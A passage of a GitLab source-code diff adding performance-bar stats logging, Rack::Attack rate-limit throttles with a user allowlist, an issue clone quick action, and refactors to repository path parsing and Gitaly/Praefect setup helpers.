%r{\A(#{personal_snippet_repository_path_regex}|#{project_snippet_repository_path_regex})\z}
end
- def personal_and_project_snippets_path_regex
- %r{#{personal_snippet_path_regex}|#{project_snippet_path_regex}}
- end
-
def container_image_regex
@container_image_regex ||= %r{([\w\.-]+\/){0,1}[\w\.-]+}.freeze
end
diff --git a/lib/gitlab/performance_bar/logger.rb b/lib/gitlab/performance_bar/logger.rb
new file mode 100644
index 00000000000..a8e2f7d2d4e
--- /dev/null
+++ b/lib/gitlab/performance_bar/logger.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module PerformanceBar
+ class Logger < ::Gitlab::JsonLogger
+ def self.file_name_noext
+ 'performance_bar_json'
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled.rb b/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled.rb
index 805283b0f93..bf8d4b202b6 100644
--- a/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled.rb
+++ b/lib/gitlab/performance_bar/redis_adapter_when_peek_enabled.rb
@@ -5,7 +5,33 @@ module Gitlab
module PerformanceBar
module RedisAdapterWhenPeekEnabled
def save(request_id)
- super if ::Gitlab::PerformanceBar.enabled_for_request?
+ return unless ::Gitlab::PerformanceBar.enabled_for_request?
+ return if request_id.blank?
+
+ super
+
+ enqueue_stats_job(request_id)
+ end
+
+ # schedules a job which parses peek profile data and adds them
+ # to a structured log
+ def enqueue_stats_job(request_id)
+ return unless gather_stats?
+
+ @client.sadd(GitlabPerformanceBarStatsWorker::STATS_KEY, request_id) # rubocop:disable Gitlab/ModuleWithInstanceVariables
+
+ return unless uuid = Gitlab::ExclusiveLease.new(
+ GitlabPerformanceBarStatsWorker::LEASE_KEY,
+ timeout: GitlabPerformanceBarStatsWorker::LEASE_TIMEOUT
+ ).try_obtain
+
+ GitlabPerformanceBarStatsWorker.perform_in(GitlabPerformanceBarStatsWorker::WORKER_DELAY, uuid)
+ end
+
+ def gather_stats?
+ return unless Feature.enabled?(:performance_bar_stats)
+
+ Gitlab.com? || !Rails.env.production?
end
end
end
diff --git a/lib/gitlab/performance_bar/stats.rb b/lib/gitlab/performance_bar/stats.rb
new file mode 100644
index 00000000000..d1504d88315
--- /dev/null
+++ b/lib/gitlab/performance_bar/stats.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module PerformanceBar
+ # This class fetches Peek stats stored in redis and logs them in a
+ # structured log (so these can be then analyzed in Kibana)
+ class Stats
+ def initialize(redis)
+ @redis = redis
+ end
+
+ def process(id)
+ data = request(id)
+ return unless data
+
+ log_sql_queries(id, data)
+ rescue => err
+ logger.error(message: "failed to process request id #{id}: #{err.message}")
+ end
+
+ private
+
+ def request(id)
+ # Peek gem stores request data under peek:requests:request_id key
+ json_data = @redis.get("peek:requests:#{id}")
+ Gitlab::Json.parse(json_data)
+ end
+
+ def log_sql_queries(id, data)
+ return [] unless queries = data.dig('data', 'active-record', 'details')
+
+ queries.each do |query|
+ next unless location = parse_backtrace(query['backtrace'])
+
+ log_info = location.merge(
+ type: :sql,
+ request_id: id,
+ duration_ms: query['duration'].to_f
+ )
+
+ logger.info(log_info)
+ end
+ end
+
+ def parse_backtrace(backtrace)
+ return unless match = /(?<filename>.*):(?<filenum>\d+):in `(?<method>.*)'/.match(backtrace.first)
+
+ {
+ filename: match[:filename],
+ filenum: match[:filenum].to_i,
+ method: match[:method]
+ }
+ end
+
+ def logger
+ @logger ||= Gitlab::PerformanceBar::Logger.build
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/project_template.rb b/lib/gitlab/project_template.rb
index a830f949b21..6ba36fadfa3 100644
--- a/lib/gitlab/project_template.rb
+++ b/lib/gitlab/project_template.rb
@@ -40,30 +40,30 @@ module Gitlab
# TODO: Review child inheritance of this table (see: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41699#note_430928221)
def localized_templates_table
[
- ProjectTemplate.new('rails', 'Ruby on Rails', _('Includes an MVC structure, Gemfile, Rakefile, along with many others, to help you get started.'), 'https://gitlab.com/gitlab-org/project-templates/rails', 'illustrations/logos/rails.svg'),
- ProjectTemplate.new('spring', 'Spring', _('Includes an MVC structure, mvnw and pom.xml to help you get started.'), 'https://gitlab.com/gitlab-org/project-templates/spring', 'illustrations/logos/spring.svg'),
- ProjectTemplate.new('express', 'NodeJS Express', _('Includes an MVC structure to help you get started.'), 'https://gitlab.com/gitlab-org/project-templates/express', 'illustrations/logos/express.svg'),
- ProjectTemplate.new('iosswift', 'iOS (Swift)', _('A ready-to-go template for use with iOS Swift apps.'), 'https://gitlab.com/gitlab-org/project-templates/iosswift', 'illustrations/logos/swift.svg'),
+ ProjectTemplate.new('rails', 'Ruby on Rails', _('Includes an MVC structure, Gemfile, Rakefile, along with many others, to help you get started'), 'https://gitlab.com/gitlab-org/project-templates/rails', 'illustrations/logos/rails.svg'),
+ ProjectTemplate.new('spring', 'Spring', _('Includes an MVC structure, mvnw and pom.xml to help you get started'), 'https://gitlab.com/gitlab-org/project-templates/spring', 'illustrations/logos/spring.svg'),
+ ProjectTemplate.new('express', 'NodeJS Express', _('Includes an MVC structure to help you get started'), 'https://gitlab.com/gitlab-org/project-templates/express', 'illustrations/logos/express.svg'),
+ ProjectTemplate.new('iosswift', 'iOS (Swift)', _('A ready-to-go template for use with iOS Swift apps'), 'https://gitlab.com/gitlab-org/project-templates/iosswift', 'illustrations/logos/swift.svg'),
ProjectTemplate.new('dotnetcore', '.NET Core', _('A .NET Core console application template, customizable for any .NET Core project'), 'https://gitlab.com/gitlab-org/project-templates/dotnetcore', 'illustrations/logos/dotnet.svg'),
- ProjectTemplate.new('android', 'Android', _('A ready-to-go template for use with Android apps.'), 'https://gitlab.com/gitlab-org/project-templates/android', 'illustrations/logos/android.svg'),
- ProjectTemplate.new('gomicro', 'Go Micro', _('Go Micro is a framework for micro service development.'), 'https://gitlab.com/gitlab-org/project-templates/go-micro', 'illustrations/logos/gomicro.svg'),
- ProjectTemplate.new('gatsby', 'Pages/Gatsby', _('Everything you need to create a GitLab Pages site using Gatsby.'), 'https://gitlab.com/pages/gatsby'),
- ProjectTemplate.new('hugo', 'Pages/Hugo', _('Everything you need to create a GitLab Pages site using Hugo.'), 'https://gitlab.com/pages/hugo', 'illustrations/logos/hugo.svg'),
- ProjectTemplate.new('jekyll', 'Pages/Jekyll', _('Everything you need to create a GitLab Pages site using Jekyll.'), 'https://gitlab.com/pages/jekyll', 'illustrations/logos/jekyll.svg'),
- ProjectTemplate.new('plainhtml', 'Pages/Plain HTML', _('Everything you need to create a GitLab Pages site using plain HTML.'), 'https://gitlab.com/pages/plain-html'),
- ProjectTemplate.new('gitbook', 'Pages/GitBook', _('Everything you need to create a GitLab Pages site using GitBook.'), 'https://gitlab.com/pages/gitbook', 'illustrations/logos/gitbook.svg'),
- ProjectTemplate.new('hexo', 'Pages/Hexo', _('Everything you need to create a GitLab Pages site using Hexo.'), 'https://gitlab.com/pages/hexo', 'illustrations/logos/hexo.svg'),
+ ProjectTemplate.new('android', 'Android', _('A ready-to-go template for use with Android apps'), 'https://gitlab.com/gitlab-org/project-templates/android', 'illustrations/logos/android.svg'),
+ ProjectTemplate.new('gomicro', 'Go Micro', _('Go Micro is a framework for micro service development'), 'https://gitlab.com/gitlab-org/project-templates/go-micro', 'illustrations/logos/gomicro.svg'),
+ ProjectTemplate.new('gatsby', 'Pages/Gatsby', _('Everything you need to create a GitLab Pages site using Gatsby'), 'https://gitlab.com/pages/gatsby'),
+ ProjectTemplate.new('hugo', 'Pages/Hugo', _('Everything you need to create a GitLab Pages site using Hugo'), 'https://gitlab.com/pages/hugo', 'illustrations/logos/hugo.svg'),
+ ProjectTemplate.new('jekyll', 'Pages/Jekyll', _('Everything you need to create a GitLab Pages site using Jekyll'), 'https://gitlab.com/pages/jekyll', 'illustrations/logos/jekyll.svg'),
+ ProjectTemplate.new('plainhtml', 'Pages/Plain HTML', _('Everything you need to create a GitLab Pages site using plain HTML'), 'https://gitlab.com/pages/plain-html'),
+ ProjectTemplate.new('gitbook', 'Pages/GitBook', _('Everything you need to create a GitLab Pages site using GitBook'), 'https://gitlab.com/pages/gitbook', 'illustrations/logos/gitbook.svg'),
+ ProjectTemplate.new('hexo', 'Pages/Hexo', _('Everything you need to create a GitLab Pages site using Hexo'), 'https://gitlab.com/pages/hexo', 'illustrations/logos/hexo.svg'),
ProjectTemplate.new('sse_middleman', 'Static Site Editor/Middleman', _('Middleman project with Static Site Editor support'), 'https://gitlab.com/gitlab-org/project-templates/static-site-editor-middleman', 'illustrations/logos/middleman.svg'),
ProjectTemplate.new('gitpod_spring_petclinic', 'Gitpod/Spring Petclinic', _('A Gitpod configured Webapplication in Spring and Java'), 'https://gitlab.com/gitlab-org/project-templates/gitpod-spring-petclinic', 'illustrations/logos/gitpod.svg'),
- ProjectTemplate.new('nfhugo', 'Netlify/Hugo', _('A Hugo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features.'), 'https://gitlab.com/pages/nfhugo', 'illustrations/logos/netlify.svg'),
- ProjectTemplate.new('nfjekyll', 'Netlify/Jekyll', _('A Jekyll site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features.'), 'https://gitlab.com/pages/nfjekyll', 'illustrations/logos/netlify.svg'),
- ProjectTemplate.new('nfplainhtml', 'Netlify/Plain HTML', _('A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features.'), 'https://gitlab.com/pages/nfplain-html', 'illustrations/logos/netlify.svg'),
- ProjectTemplate.new('nfgitbook', 'Netlify/GitBook', _('A GitBook site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features.'), 'https://gitlab.com/pages/nfgitbook', 'illustrations/logos/netlify.svg'),
- ProjectTemplate.new('nfhexo', 'Netlify/Hexo', _('A Hexo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features.'), 'https://gitlab.com/pages/nfhexo', 'illustrations/logos/netlify.svg'),
- ProjectTemplate.new('salesforcedx', 'SalesforceDX', _('A project boilerplate for Salesforce App development with Salesforce Developer tools.'), 'https://gitlab.com/gitlab-org/project-templates/salesforcedx'),
+ ProjectTemplate.new('nfhugo', 'Netlify/Hugo', _('A Hugo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features'), 'https://gitlab.com/pages/nfhugo', 'illustrations/logos/netlify.svg'),
+ ProjectTemplate.new('nfjekyll', 'Netlify/Jekyll', _('A Jekyll site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features'), 'https://gitlab.com/pages/nfjekyll', 'illustrations/logos/netlify.svg'),
+ ProjectTemplate.new('nfplainhtml', 'Netlify/Plain HTML', _('A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features'), 'https://gitlab.com/pages/nfplain-html', 'illustrations/logos/netlify.svg'),
+ ProjectTemplate.new('nfgitbook', 'Netlify/GitBook', _('A GitBook site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features'), 'https://gitlab.com/pages/nfgitbook', 'illustrations/logos/netlify.svg'),
+ ProjectTemplate.new('nfhexo', 'Netlify/Hexo', _('A Hexo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features'), 'https://gitlab.com/pages/nfhexo', 'illustrations/logos/netlify.svg'),
+ ProjectTemplate.new('salesforcedx', 'SalesforceDX', _('A project boilerplate for Salesforce App development with Salesforce Developer tools'), 'https://gitlab.com/gitlab-org/project-templates/salesforcedx'),
ProjectTemplate.new('serverless_framework', 'Serverless Framework/JS', _('A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages'), 'https://gitlab.com/gitlab-org/project-templates/serverless-framework', 'illustrations/logos/serverless_framework.svg'),
ProjectTemplate.new('jsonnet', 'Jsonnet for Dynamic Child Pipelines', _('An example showing how to use Jsonnet with GitLab dynamic child pipelines'), 'https://gitlab.com/gitlab-org/project-templates/jsonnet'),
- ProjectTemplate.new('cluster_management', 'GitLab Cluster Management', _('An example project for managing Kubernetes clusters integrated with GitLab.'), 'https://gitlab.com/gitlab-org/project-templates/cluster-management')
+ ProjectTemplate.new('cluster_management', 'GitLab Cluster Management', _('An example project for managing Kubernetes clusters integrated with GitLab'), 'https://gitlab.com/gitlab-org/project-templates/cluster-management')
].freeze
end
diff --git a/lib/gitlab/quick_actions/issue_actions.rb b/lib/gitlab/quick_actions/issue_actions.rb
index b0aae363749..1822b0c8bd5 100644
--- a/lib/gitlab/quick_actions/issue_actions.rb
+++ b/lib/gitlab/quick_actions/issue_actions.rb
@@ -102,6 +102,41 @@ module Gitlab
@execution_message[:duplicate] = message
end
+ desc _('Clone this issue')
+ explanation do |project = quick_action_target.project.full_path|
+ _("Clones this issue, without comments, to %{project}.") % { project: project }
+ end
+ params 'path/to/project [--with_notes]'
+ types Issue
+ condition do
+ quick_action_target.persisted? &&
+ current_user.can?(:"admin_#{quick_action_target.to_ability_name}", project)
+ end
+ command :clone do |params = ''|
+ params = params.split(' ')
+ with_notes = params.delete('--with_notes').present?
+
+ # If we have more than 1 param, then the user supplied too many spaces, or mistyped `--with_notes`
+ if params.size > 1
+ @execution_message[:clone] = _('Failed to clone this issue: wrong parameters.')
+ next
+ end
+
+ target_project_path = params[0]
+ target_project = target_project_path.present? ? Project.find_by_full_path(target_project_path) : quick_action_target.project
+
+ if target_project.present?
+ @updates[:target_clone_project] = target_project
+ @updates[:clone_with_notes] = with_notes
+
+ message = _("Cloned this issue to %{path_to_project}.") % { path_to_project: target_project_path || quick_action_target.project.full_path }
+ else
+ message = _("Failed to clone this issue because target project doesn't exist.")
+ end
+
+ @execution_message[:clone] = message
+ end
+
desc _('Move this issue to another project.')
explanation do |path_to_project|
_("Moves this issue to %{path_to_project}.") % { path_to_project: path_to_project }
diff --git a/lib/gitlab/rack_attack.rb b/lib/gitlab/rack_attack.rb
new file mode 100644
index 00000000000..7c336153e32
--- /dev/null
+++ b/lib/gitlab/rack_attack.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+# When adding new user-configurable throttles, remember to update the documentation
+# in doc/user/admin_area/settings/user_and_ip_rate_limits.md
+#
+# Integration specs for throttling can be found in:
+# spec/requests/rack_attack_global_spec.rb
+module Gitlab
+ module RackAttack
+ def self.configure(rack_attack)
+ # This adds some methods used by our throttles to the `Rack::Request`
+ rack_attack::Request.include(Gitlab::RackAttack::Request)
+ # Send the Retry-After header so clients (e.g. python-gitlab) can make good choices about delays
+ Rack::Attack.throttled_response_retry_after_header = true
+ # Configure the throttles
+ configure_throttles(rack_attack)
+
+ configure_user_allowlist
+ end
+
+ def self.configure_user_allowlist
+ @user_allowlist = nil
+ user_allowlist
+ end
+
+ def self.configure_throttles(rack_attack)
+ throttle_or_track(rack_attack, 'throttle_unauthenticated', Gitlab::Throttle.unauthenticated_options) do |req|
+ if !req.should_be_skipped? &&
+ Gitlab::Throttle.settings.throttle_unauthenticated_enabled &&
+ req.unauthenticated?
+ req.ip
+ end
+ end
+
+ throttle_or_track(rack_attack, 'throttle_authenticated_api', Gitlab::Throttle.authenticated_api_options) do |req|
+ if req.api_request? &&
+ Gitlab::Throttle.settings.throttle_authenticated_api_enabled
+ req.throttled_user_id([:api])
+ end
+ end
+
+ # Product analytics feature is in experimental stage.
+ # At this point we want to limit amount of events registered
+ # per application (aid stands for application id).
+ throttle_or_track(rack_attack, 'throttle_product_analytics_collector', limit: 100, period: 60) do |req|
+ if req.product_analytics_collector_request?
+ req.params['aid']
+ end
+ end
+
+ throttle_or_track(rack_attack, 'throttle_authenticated_web', Gitlab::Throttle.authenticated_web_options) do |req|
+ if req.web_request? &&
+ Gitlab::Throttle.settings.throttle_authenticated_web_enabled
+ req.throttled_user_id([:api, :rss, :ics])
+ end
+ end
+
+ throttle_or_track(rack_attack, 'throttle_unauthenticated_protected_paths', Gitlab::Throttle.protected_paths_options) do |req|
+ if req.post? &&
+ !req.should_be_skipped? &&
+ req.protected_path? &&
+ Gitlab::Throttle.protected_paths_enabled? &&
+ req.unauthenticated?
+ req.ip
+ end
+ end
+
+ throttle_or_track(rack_attack, 'throttle_authenticated_protected_paths_api', Gitlab::Throttle.protected_paths_options) do |req|
+ if req.post? &&
+ req.api_request? &&
+ req.protected_path? &&
+ Gitlab::Throttle.protected_paths_enabled?
+ req.throttled_user_id([:api])
+ end
+ end
+
+ throttle_or_track(rack_attack, 'throttle_authenticated_protected_paths_web', Gitlab::Throttle.protected_paths_options) do |req|
+ if req.post? &&
+ req.web_request? &&
+ req.protected_path? &&
+ Gitlab::Throttle.protected_paths_enabled?
+ req.throttled_user_id([:api, :rss, :ics])
+ end
+ end
+
+ rack_attack.safelist('throttle_bypass_header') do |req|
+ Gitlab::Throttle.bypass_header.present? &&
+ req.get_header(Gitlab::Throttle.bypass_header) == '1'
+ end
+ end
+
+ def self.throttle_or_track(rack_attack, throttle_name, *args, &block)
+ if track?(throttle_name)
+ rack_attack.track(throttle_name, *args, &block)
+ else
+ rack_attack.throttle(throttle_name, *args, &block)
+ end
+ end
+
+ def self.track?(name)
+ dry_run_config = ENV['GITLAB_THROTTLE_DRY_RUN'].to_s.strip
+
+ return false if dry_run_config.empty?
+ return true if dry_run_config == '*'
+
+ dry_run_config.split(',').map(&:strip).include?(name)
+ end
+
+ def self.user_allowlist
+ @user_allowlist ||= begin
+ list = UserAllowlist.new(ENV['GITLAB_THROTTLE_USER_ALLOWLIST'])
+ Gitlab::AuthLogger.info(gitlab_throttle_user_allowlist: list.to_a)
+ list
+ end
+ end
+ end
+end
+::Gitlab::RackAttack.prepend_if_ee('::EE::Gitlab::RackAttack')
diff --git a/lib/gitlab/rack_attack/request.rb b/lib/gitlab/rack_attack/request.rb
new file mode 100644
index 00000000000..67e3a5de223
--- /dev/null
+++ b/lib/gitlab/rack_attack/request.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module RackAttack
+ module Request
+ def unauthenticated?
+ !(authenticated_user_id([:api, :rss, :ics]) || authenticated_runner_id)
+ end
+
+ def throttled_user_id(request_formats)
+ user_id = authenticated_user_id(request_formats)
+
+ if Gitlab::RackAttack.user_allowlist.include?(user_id)
+ Gitlab::Instrumentation::Throttle.safelist = 'throttle_user_allowlist'
+ return
+ end
+
+ user_id
+ end
+
+ def authenticated_runner_id
+ request_authenticator.runner&.id
+ end
+
+ def api_request?
+ path.start_with?('/api')
+ end
+
+ def api_internal_request?
+ path =~ %r{^/api/v\d+/internal/}
+ end
+
+ def health_check_request?
+ path =~ %r{^/-/(health|liveness|readiness|metrics)}
+ end
+
+ def product_analytics_collector_request?
+ path.start_with?('/-/collector/i')
+ end
+
+ def should_be_skipped?
+ api_internal_request? || health_check_request?
+ end
+
+ def web_request?
+ !api_request? && !health_check_request?
+ end
+
+ def protected_path?
+ !protected_path_regex.nil?
+ end
+
+ def protected_path_regex
+ path =~ protected_paths_regex
+ end
+
+ private
+
+ def authenticated_user_id(request_formats)
+ request_authenticator.user(request_formats)&.id
+ end
+
+ def request_authenticator
+ @request_authenticator ||= Gitlab::Auth::RequestAuthenticator.new(self)
+ end
+
+ def protected_paths
+ Gitlab::CurrentSettings.current_application_settings.protected_paths
+ end
+
+ def protected_paths_regex
+ Regexp.union(protected_paths.map { |path| /\A#{Regexp.escape(path)}/ })
+ end
+ end
+ end
+end
+::Gitlab::RackAttack::Request.prepend_if_ee('::EE::Gitlab::RackAttack::Request')
diff --git a/lib/gitlab/rack_attack/user_allowlist.rb b/lib/gitlab/rack_attack/user_allowlist.rb
new file mode 100644
index 00000000000..f3043f44091
--- /dev/null
+++ b/lib/gitlab/rack_attack/user_allowlist.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'set'
+
+module Gitlab
+ module RackAttack
+ class UserAllowlist
+ extend Forwardable
+
+ def_delegators :@set, :empty?, :include?, :to_a
+
+ def initialize(list)
+ @set = Set.new
+
+ list.to_s.split(',').each do |id|
+ @set << Integer(id) unless id.blank?
+ rescue ArgumentError
+ Gitlab::AuthLogger.error(message: 'ignoring invalid user allowlist entry', entry: id)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/repo_path.rb b/lib/gitlab/repo_path.rb
index 9ee6f67e455..46c84107e0f 100644
--- a/lib/gitlab/repo_path.rb
+++ b/lib/gitlab/repo_path.rb
@@ -4,8 +4,15 @@ module Gitlab
module RepoPath
NotFoundError = Class.new(StandardError)
+ # Returns an array containing:
+ # - The repository container
+ # - The related project (if available)
+ # - The repository type
+ # - The original container path (if redirected)
+ #
+ # @returns [HasRepository, Project, String, String]
def self.parse(path)
- repo_path = path.sub(/\.git\z/, '').sub(%r{\A/}, '')
+ repo_path = path.delete_prefix('/').delete_suffix('.git')
redirected_path = nil
# Detect the repo type based on the path, the first one tried is the project
@@ -30,7 +37,15 @@ module Gitlab
[nil, nil, Gitlab::GlRepository.default_type, nil]
end
+ # Returns an array containing:
+ # - The repository container
+ # - The related project (if available)
+ # - The original container path (if redirected)
+ #
+ # @returns [HasRepository, Project, String]
def self.find_container(type, full_path)
+ return [nil, nil, nil] if full_path.blank?
+
if type.snippet?
snippet, redirected_path = find_snippet(full_path)
@@ -47,26 +62,24 @@ module Gitlab
end
def self.find_project(project_path)
- return [nil, nil] if project_path.blank?
-
project = Project.find_by_full_path(project_path, follow_redirects: true)
- redirected_path = redirected?(project, project_path) ? project_path : nil
+ redirected_path = project_path if redirected?(project, project_path)
[project, redirected_path]
end
- def self.redirected?(project, project_path)
- project && project.full_path.casecmp(project_path) != 0
+ def self.redirected?(container, container_path)
+ container && container.full_path.casecmp(container_path) != 0
end
# Snippet_path can be either:
# - snippets/1
# - h5bp/html5-boilerplate/snippets/53
def self.find_snippet(snippet_path)
- return [nil, nil] if snippet_path.blank?
-
snippet_id, project_path = extract_snippet_info(snippet_path)
- project, redirected_path = find_project(project_path)
+ return [nil, nil] unless snippet_id
+
+ project, redirected_path = find_project(project_path) if project_path
[Snippet.find_by_id_and_project(id: snippet_id, project: project), redirected_path]
end
@@ -74,19 +87,23 @@ module Gitlab
# Wiki path can be either:
# - namespace/project
# - group/subgroup/project
- def self.find_wiki(wiki_path)
- return [nil, nil] if wiki_path.blank?
-
- project, redirected_path = find_project(wiki_path)
-
- [project&.wiki, redirected_path]
+ #
+ # And also in EE:
+ # - group
+ # - group/subgroup
+ def self.find_wiki(container_path)
+ container = Routable.find_by_full_path(container_path, follow_redirects: true)
+ redirected_path = container_path if redirected?(container, container_path)
+
+ # In CE, Group#wiki is not available so this will return nil for a group path.
+ [container&.try(:wiki), redirected_path]
end
def self.extract_snippet_info(snippet_path)
path_segments = snippet_path.split('/')
snippet_id = path_segments.pop
- path_segments.pop # Remove snippets from path
- project_path = File.join(path_segments)
+ path_segments.pop # Remove 'snippets' from path
+ project_path = File.join(path_segments).presence
[snippet_id, project_path]
end
diff --git a/lib/gitlab/request_forgery_protection.rb b/lib/gitlab/request_forgery_protection.rb
index b1e478093d3..79562a8223b 100644
--- a/lib/gitlab/request_forgery_protection.rb
+++ b/lib/gitlab/request_forgery_protection.rb
@@ -9,14 +9,6 @@ module Gitlab
class Controller < ActionController::Base
protect_from_forgery with: :exception, prepend: true
- rescue_from ActionController::InvalidAuthenticityToken do |e|
- logger.warn "This CSRF token verification failure is handled internally by `GitLab::RequestForgeryProtection`"
- logger.warn "Unlike the logs may suggest, this does not result in an actual 422 response to the user"
- logger.warn "For API requests, the only effect is that `current_user` will be `nil` for the duration of the request"
-
- raise e
- end
-
def index
head :ok
end
diff --git a/lib/gitlab/sample_data_template.rb b/lib/gitlab/sample_data_template.rb
index ae74dc710b7..06ea53e4018 100644
--- a/lib/gitlab/sample_data_template.rb
+++ b/lib/gitlab/sample_data_template.rb
@@ -5,8 +5,7 @@ module Gitlab
class << self
def localized_templates_table
[
- SampleDataTemplate.new('basic', 'Basic', _('Basic Sample Data template with Issues, Merge Requests and Milestones.'), 'https://gitlab.com/gitlab-org/sample-data-templates/basic'),
- SampleDataTemplate.new('serenity_valley', 'Serenity Valley', _('Serenity Valley Sample Data template.'), 'https://gitlab.com/gitlab-org/sample-data-templates/serenity-valley')
+ SampleDataTemplate.new('sample', 'Sample GitLab Project', _('Get started with a project that follows best practices for setting up GitLab for your own organization, including sample Issues, Merge Requests, and Milestones'), 'https://gitlab.com/gitlab-org/sample-data-templates/sample-gitlab-project')
].freeze
end
diff --git a/lib/gitlab/sanitizers/exif.rb b/lib/gitlab/sanitizers/exif.rb
index 78c517c49d8..ed3e32f3e79 100644
--- a/lib/gitlab/sanitizers/exif.rb
+++ b/lib/gitlab/sanitizers/exif.rb
@@ -67,7 +67,7 @@ module Gitlab
batch_size: 1000
}
- relation.find_each(find_params) do |upload|
+ relation.find_each(**find_params) do |upload|
clean(upload.retrieve_uploader, dry_run: dry_run)
sleep sleep_time if sleep_time
rescue => err
diff --git a/lib/gitlab/search/query.rb b/lib/gitlab/search/query.rb
index 27ea0b7367f..5b1f9400bc7 100644
--- a/lib/gitlab/search/query.rb
+++ b/lib/gitlab/search/query.rb
@@ -51,6 +51,7 @@ module Gitlab
end
query = (@raw_query.split - fragments).join(' ')
+ query = '*' if query.empty?
[query, filters]
end
diff --git a/lib/gitlab/setup_helper.rb b/lib/gitlab/setup_helper.rb
index 259d3e300b6..48f204e0b86 100644
--- a/lib/gitlab/setup_helper.rb
+++ b/lib/gitlab/setup_helper.rb
@@ -4,10 +4,10 @@ require 'toml-rb'
module Gitlab
module SetupHelper
- def create_configuration(dir, storage_paths, force: false)
+ def create_configuration(dir, storage_paths, force: false, options: {})
generate_configuration(
- configuration_toml(dir, storage_paths),
- get_config_path(dir),
+ configuration_toml(dir, storage_paths, options),
+ get_config_path(dir, options),
force: force
)
end
@@ -31,7 +31,7 @@ module Gitlab
module Workhorse
extend Gitlab::SetupHelper
class << self
- def configuration_toml(dir, _)
+ def configuration_toml(dir, _, _)
config = { redis: { URL: redis_url } }
TomlRB.dump(config)
@@ -41,8 +41,26 @@ module Gitlab
Gitlab::Redis::SharedState.url
end
- def get_config_path(dir)
- File.join(dir, 'config.toml')
+ def get_config_path(dir, _)
+ File.join(dir, 'config_path')
+ end
+
+ def compile_into(dir)
+ command = %W[#{make} -C #{Rails.root.join('workhorse')} install PREFIX=#{File.absolute_path(dir)}]
+
+ make_out, make_status = Gitlab::Popen.popen(command)
+ unless make_status == 0
+ warn make_out
+ raise 'workhorse make failed'
+ end
+
+ # 'make install' puts the binaries in #{dir}/bin but the init script expects them in dir
+ FileUtils.mv(Dir["#{dir}/bin/*"], dir)
+ end
+
+ def make
+ _, which_status = Gitlab::Popen.popen(%w[which gmake])
+ which_status == 0 ? 'gmake' : 'make'
end
end
end
@@ -58,7 +76,7 @@ module Gitlab
# because it uses a Unix socket.
# For development and testing purposes, an extra storage is added to gitaly,
# which is not known to Rails, but must be explicitly stubbed.
- def configuration_toml(gitaly_dir, storage_paths, gitaly_ruby: true)
+ def configuration_toml(gitaly_dir, storage_paths, options, gitaly_ruby: true)
storages = []
address = nil
@@ -79,14 +97,20 @@ module Gitlab
config = { socket_path: address.sub(/\Aunix:/, '') }
if Rails.env.test?
+ socket_filename = options[:gitaly_socket] || "gitaly.socket"
+
+ config = {
+ # Override the set gitaly_address since Praefect is in the loop
+ socket_path: File.join(gitaly_dir, socket_filename),
+ auth: { token: 'secret' },
+ # Compared to production, tests run in constrained environments. This
+ # number is meant to grow with the number of concurrent rails requests /
+ # sidekiq jobs, and concurrency will be low anyway in test.
+ git: { catfile_cache_size: 5 }
+ }
+
storage_path = Rails.root.join('tmp', 'tests', 'second_storage').to_s
storages << { name: 'test_second_storage', path: storage_path }
-
- config[:auth] = { token: 'secret' }
- # Compared to production, tests run in constrained environments. This
- # number is meant to grow with the number of concurrent rails requests /
- # sidekiq jobs, and concurrency will be low anyway in test.
- config[:git] = { catfile_cache_size: 5 }
end
config[:storage] = storages
@@ -106,8 +130,9 @@ module Gitlab
private
- def get_config_path(dir)
- File.join(dir, 'config.toml')
+ def get_config_path(dir, options)
+ config_filename = options[:config_filename] || 'config.toml'
+ File.join(dir, config_filename)
end
end
end
@@ -115,9 +140,11 @@ module Gitlab
module Praefect
extend Gitlab::SetupHelper
class << self
- def configuration_toml(gitaly_dir, storage_paths)
+ def configuration_toml(gitaly_dir, _, _)
nodes = [{ storage: 'default', address: "unix:#{gitaly_dir}/gitaly.socket", primary: true, token: 'secret' }]
- storages = [{ name: 'default', node: nodes }]
+ second_storage_nodes = [{ storage: 'test_second_storage', address: "unix:#{gitaly_dir}/gitaly2.socket", primary: true, token: 'secret' }]
+
+ storages = [{ name: 'default', node: nodes }, { name: 'test_second_storage', node: second_storage_nodes }]
failover = { enabled: false }
config = { socket_path: "#{gitaly_dir}/praefect.socket", memory_queue_enabled: true, virtual_storage: storages, failover: failover }
config[:token] = 'secret' if Rails.env.test?
@@ -127,7 +154,7 @@ module Gitlab
private
- def get_config_path(dir)
+ def get_config_path(dir, _)
File.join(dir, 'praefect.config.toml')
end
end
diff --git a/lib/gitlab/sidekiq_cluster.rb b/lib/gitlab/sidekiq_cluster.rb
index d05c717d2fa..cc1bd282da8 100644
--- a/lib/gitlab/sidekiq_cluster.rb
+++ b/lib/gitlab/sidekiq_cluster.rb
@@ -111,7 +111,7 @@ module Gitlab
end
def self.count_by_queue(queues)
- queues.each_with_object(Hash.new(0)) { |element, hash| hash[element] += 1 }
+ queues.tally
end
def self.proc_details(counts)
diff --git a/lib/gitlab/sidekiq_death_handler.rb b/lib/gitlab/sidekiq_death_handler.rb
new file mode 100644
index 00000000000..f86d9f17b5f
--- /dev/null
+++ b/lib/gitlab/sidekiq_death_handler.rb
